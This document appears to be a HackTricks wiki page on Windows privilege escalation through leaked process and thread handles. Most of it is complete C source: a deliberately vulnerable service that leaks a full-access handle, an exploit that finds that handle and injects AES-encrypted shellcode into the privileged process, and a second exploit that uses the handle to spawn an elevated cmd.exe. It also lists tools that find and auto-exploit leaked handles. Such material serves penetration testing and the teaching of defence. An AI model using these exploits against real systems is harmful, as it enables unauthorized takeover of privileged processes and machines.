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722 lines
28 KiB
Markdown
722 lines
28 KiB
Markdown
# Leaked Handle Exploitation
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Introduction
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Handles in a process allow to **access** different **Windows resources**:
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.png>)
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There have been already several **privilege escalation** cases where a **privileged process** with **open and inheritable handles** have **run** an **unprivileged process** giving it **access to all those handles**.
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For example, imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also creates a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
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Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.
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## **Interesting Handles**
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### **Process**
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As you read on the initial example if an **unprivileged process inherits a process handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.
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In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions:
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* PROCESS\_ALL\_ACCESS
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* PROCESS\_CREATE\_PROCESS
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* PROCESS\_CREATE\_THREAD
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* PROCESS\_DUP\_HANDLE
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* PROCESS\_VM\_WRITE
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### Thread
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Similar to the process handles, if an **unprivileged process inherits a thread handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.
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In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions:
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* THREAD\_ALL\_ACCESS
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* THREAD\_DIRECT\_IMPERSONATION
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* THREAD\_SET\_CONTEXT
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### File, Key & Section Handles
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If an **unprivileged process inherits** a **handle** with **write** equivalent **permissions** over a **privileged file or registry**, it will be able to **overwrite** the file/registry (and with a lot of **luck**, **escalate privileged**).
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**Section Handles** are similar to file handles, the common name of this kinds of [objects is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They are used to work with **big files without keeping the entire** file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.
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## How to see handles of processes
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### Process Hacker
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[**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**.
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Note that in order to **see all the handles of all the processes, the SeDebugPrivilege is needed** (so you need to run Process Hacker as administrator).
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To see the handles of a process, right click in the process and select Handles:
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.png>)
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You can then right click on the handle and **check the permissions**:
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.png>)
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### Sysinternals Handles
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The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console:
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.png>)
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### LeakedHandlesFinder
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[**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges.
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### Methodology
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Now that you know how to find handles of processes what you need to check is if any **unprivileged process is having access to privileged handles**. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.
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{% hint style="warning" %}
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It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**.
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```bash
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handle64.exe /a | findstr /r /i "process thread file key pid:"
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```
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{% endhint %}
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## Vulnerable Example
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For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** (by copying the low privileged token of _explorer.exe_) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**.
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Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).
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```c
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#include <windows.h>
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#include <tlhelp32.h>
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#include <tchar.h>
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#pragma comment (lib, "advapi32")
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TCHAR* serviceName = TEXT("HandleLeakSrv");
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SERVICE_STATUS serviceStatus;
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SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
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HANDLE stopServiceEvent = 0;
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//Find PID of a proces from its name
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int FindTarget(const char *procname) {
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HANDLE hProcSnap;
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PROCESSENTRY32 pe32;
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int pid = 0;
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hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
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pe32.dwSize = sizeof(PROCESSENTRY32);
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if (!Process32First(hProcSnap, &pe32)) {
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CloseHandle(hProcSnap);
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return 0;
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}
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while (Process32Next(hProcSnap, &pe32)) {
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if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
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pid = pe32.th32ProcessID;
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break;
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}
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}
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CloseHandle(hProcSnap);
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return pid;
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}
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int Exploit(void) {
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STARTUPINFOA si;
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PROCESS_INFORMATION pi;
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int pid = 0;
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HANDLE hUserToken;
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HANDLE hUserProc;
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HANDLE hProc;
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// open a handle to itself (privileged process) - this gets leaked!
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hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
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// get PID of user low privileged process
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if ( pid = FindTarget("explorer.exe") )
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hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
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else
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return -1;
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// extract low privilege token from a user's process
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if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
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CloseHandle(hUserProc);
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return -1;
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}
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// spawn a child process with low privs and leaked handle
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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ZeroMemory(&pi, sizeof(pi));
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CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
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NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
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CloseHandle(hProc);
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CloseHandle(hUserProc);
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return 0;
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}
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void WINAPI ServiceControlHandler( DWORD controlCode ) {
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switch ( controlCode ) {
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case SERVICE_CONTROL_SHUTDOWN:
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case SERVICE_CONTROL_STOP:
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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SetEvent( stopServiceEvent );
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return;
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case SERVICE_CONTROL_PAUSE:
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break;
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case SERVICE_CONTROL_CONTINUE:
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break;
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case SERVICE_CONTROL_INTERROGATE:
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break;
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default:
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break;
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}
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
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// initialise service status
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serviceStatus.dwServiceType = SERVICE_WIN32;
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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serviceStatus.dwControlsAccepted = 0;
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serviceStatus.dwWin32ExitCode = NO_ERROR;
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serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
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serviceStatus.dwCheckPoint = 0;
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serviceStatus.dwWaitHint = 0;
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serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
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if ( serviceStatusHandle ) {
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// service is starting
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serviceStatus.dwCurrentState = SERVICE_START_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do initialisation here
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stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
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// running
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serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_RUNNING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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Exploit();
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WaitForSingleObject( stopServiceEvent, -1 );
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// service was stopped
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do cleanup here
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CloseHandle( stopServiceEvent );
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stopServiceEvent = 0;
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// service is now stopped
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serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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}
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void InstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
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if ( serviceControlManager ) {
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TCHAR path[ _MAX_PATH + 1 ];
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if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
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SC_HANDLE service = CreateService( serviceControlManager,
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serviceName, serviceName,
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SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
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SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
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0, 0, 0, 0, 0 );
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if ( service )
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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void UninstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
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if ( serviceControlManager ) {
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SC_HANDLE service = OpenService( serviceControlManager,
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serviceName, SERVICE_QUERY_STATUS | DELETE );
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if ( service ) {
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SERVICE_STATUS serviceStatus;
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if ( QueryServiceStatus( service, &serviceStatus ) ) {
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if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
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DeleteService( service );
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}
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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int _tmain( int argc, TCHAR* argv[] )
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{
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if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
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InstallService();
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}
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else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
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UninstallService();
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}
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else {
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SERVICE_TABLE_ENTRY serviceTable[] = {
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{ serviceName, ServiceMain },
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{ 0, 0 }
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};
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StartServiceCtrlDispatcher( serviceTable );
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}
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return 0;
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}
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```
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### Exploit Example 1
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{% hint style="info" %}
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In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
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{% endhint %}
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In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\
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The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed (an accessible open process handle is found) , it try to **inject and execute a shellcode abusing the handle of the process**.\
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The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode).
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```c
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#include <windows.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#include <wincrypt.h>
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#include <psapi.h>
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#include <tchar.h>
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#include <tlhelp32.h>
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#include "client.h"
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#pragma comment (lib, "crypt32.lib")
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#pragma comment (lib, "advapi32")
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#pragma comment (lib, "kernel32")
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int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
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HCRYPTPROV hProv;
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HCRYPTHASH hHash;
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HCRYPTKEY hKey;
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if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
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return -1;
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}
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if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
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return -1;
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}
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if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
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return -1;
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}
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if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
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return -1;
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}
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if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
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return -1;
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}
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CryptReleaseContext(hProv, 0);
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CryptDestroyHash(hHash);
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CryptDestroyKey(hKey);
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return 0;
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}
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HANDLE GetVulnProcHandle(void) {
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ULONG handleInfoSize = 0x10000;
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NTSTATUS status;
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PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
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HANDLE hProc = NULL;
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POBJECT_TYPE_INFORMATION objectTypeInfo;
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PVOID objectNameInfo;
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UNICODE_STRING objectName;
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ULONG returnLength;
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HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
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DWORD dwOwnPID = GetCurrentProcessId();
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pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
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pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
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pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
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pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
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pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
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printf("[+] Grabbing handles...");
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while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
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NULL )) == STATUS_INFO_LENGTH_MISMATCH)
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phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
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if (status != STATUS_SUCCESS)
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{
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printf("[!] NtQuerySystemInformation failed!\n");
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return 0;
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}
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printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
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// iterate handles until we find the privileged process handle
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for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
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{
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SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
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// Check if this handle belongs to our own process
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if (handle.UniqueProcessId != dwOwnPID)
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continue;
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objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectTypeInformation,
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objectTypeInfo,
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0x1000,
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NULL ) != STATUS_SUCCESS)
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continue;
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// skip some objects to avoid getting stuck
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// see: https://github.com/adamdriscoll/PoshInternals/issues/7
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if (handle.GrantedAccess == 0x0012019f
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&& handle.GrantedAccess != 0x00120189
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&& handle.GrantedAccess != 0x120089
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&& handle.GrantedAccess != 0x1A019F ) {
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free(objectTypeInfo);
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continue;
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}
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// get object name information
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objectNameInfo = malloc(0x1000);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectNameInformation,
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objectNameInfo,
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0x1000,
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&returnLength ) != STATUS_SUCCESS) {
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// adjust the size of a returned object and query again
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objectNameInfo = realloc(objectNameInfo, returnLength);
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if (pNtQueryObject( (HANDLE) handle.HandleValue,
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ObjectNameInformation,
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objectNameInfo,
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returnLength,
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NULL ) != STATUS_SUCCESS) {
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free(objectTypeInfo);
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free(objectNameInfo);
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continue;
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}
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}
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// check if we've got a process object
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objectName = *(PUNICODE_STRING) objectNameInfo;
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UNICODE_STRING pProcess;
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pRtlInitUnicodeString(&pProcess, L"Process");
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if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
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printf("[+] Found process handle (%x)\n", handle.HandleValue);
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hProc = (HANDLE) handle.HandleValue;
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free(objectTypeInfo);
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free(objectNameInfo);
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break;
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}
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else
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continue;
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free(objectTypeInfo);
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free(objectNameInfo);
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}
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return hProc;
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}
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int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
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LPVOID pRemoteCode = NULL;
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HANDLE hThread = NULL;
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BOOL bStatus = FALSE;
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pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
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pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
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pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
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pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
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pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
|
|
|
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
|
if (bStatus != FALSE) {
|
|
WaitForSingleObject(hThread, -1);
|
|
CloseHandle(hThread);
|
|
return 0;
|
|
}
|
|
else
|
|
return -1;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
int pid = 0;
|
|
HANDLE hProc = NULL;
|
|
|
|
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
|
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
|
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
|
unsigned int payload_len = sizeof(payload);
|
|
|
|
printf("My PID: %d\n", GetCurrentProcessId());
|
|
getchar();
|
|
|
|
// find a leaked handle to a process
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// d#Decrypt payload
|
|
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
|
|
printf("[+] Sending gift...");
|
|
// Inject and run the payload in the privileged context
|
|
Inject(hProc, payload, payload_len);
|
|
printf("done.\n");
|
|
}
|
|
getchar();
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
### Exploit Example 2
|
|
|
|
{% hint style="info" %}
|
|
In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
|
|
{% endhint %}
|
|
|
|
In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.
|
|
|
|
Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing \_cmd.exe**\_\*\* will have the same token privilege as the open handle process\*\*.
|
|
|
|
```c
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <wincrypt.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include "client.h"
|
|
#pragma comment (lib, "crypt32.lib")
|
|
#pragma comment (lib, "advapi32")
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
HANDLE GetVulnProcHandle(void) {
|
|
|
|
ULONG handleInfoSize = 0x10000;
|
|
NTSTATUS status;
|
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
|
HANDLE hProc = NULL;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
PVOID objectNameInfo;
|
|
UNICODE_STRING objectName;
|
|
ULONG returnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
DWORD dwOwnPID = GetCurrentProcessId();
|
|
|
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
|
|
|
printf("[+] Grabbing handles...");
|
|
|
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
|
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[!] NtQuerySystemInformation failed!\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
|
|
|
// iterate handles until we find the privileged process handle
|
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
|
|
|
// Check if this handle belongs to our own process
|
|
if (handle.UniqueProcessId != dwOwnPID)
|
|
continue;
|
|
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectTypeInformation,
|
|
objectTypeInfo,
|
|
0x1000,
|
|
NULL ) != STATUS_SUCCESS)
|
|
continue;
|
|
|
|
// skip some objects to avoid getting stuck
|
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
|
if (handle.GrantedAccess == 0x0012019f
|
|
&& handle.GrantedAccess != 0x00120189
|
|
&& handle.GrantedAccess != 0x120089
|
|
&& handle.GrantedAccess != 0x1A019F ) {
|
|
free(objectTypeInfo);
|
|
continue;
|
|
}
|
|
|
|
// get object name information
|
|
objectNameInfo = malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
0x1000,
|
|
&returnLength ) != STATUS_SUCCESS) {
|
|
|
|
// adjust the size of a returned object and query again
|
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
returnLength,
|
|
NULL ) != STATUS_SUCCESS) {
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// check if we've got a process object
|
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
|
UNICODE_STRING pProcess;
|
|
|
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
|
hProc = (HANDLE) handle.HandleValue;
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
break;
|
|
}
|
|
else
|
|
continue;
|
|
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
}
|
|
|
|
return hProc;
|
|
}
|
|
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
HANDLE hProc = NULL;
|
|
STARTUPINFOEXA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
SIZE_T size;
|
|
BOOL ret;
|
|
|
|
Sleep(20000);
|
|
// find leaked process handle
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
|
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
|
|
|
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
|
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
|
|
|
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
|
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
|
|
|
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
|
|
|
// Spawn elevated cmd process
|
|
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
|
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
|
|
|
if (ret == FALSE) {
|
|
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
Sleep(20000);
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
## Other tools and examples
|
|
|
|
* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
|
|
|
|
This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.
|
|
|
|
* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
|
|
|
|
Another tool to leak a handle and exploit it.
|
|
|
|
## References
|
|
|
|
* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
|
|
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
|
|
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|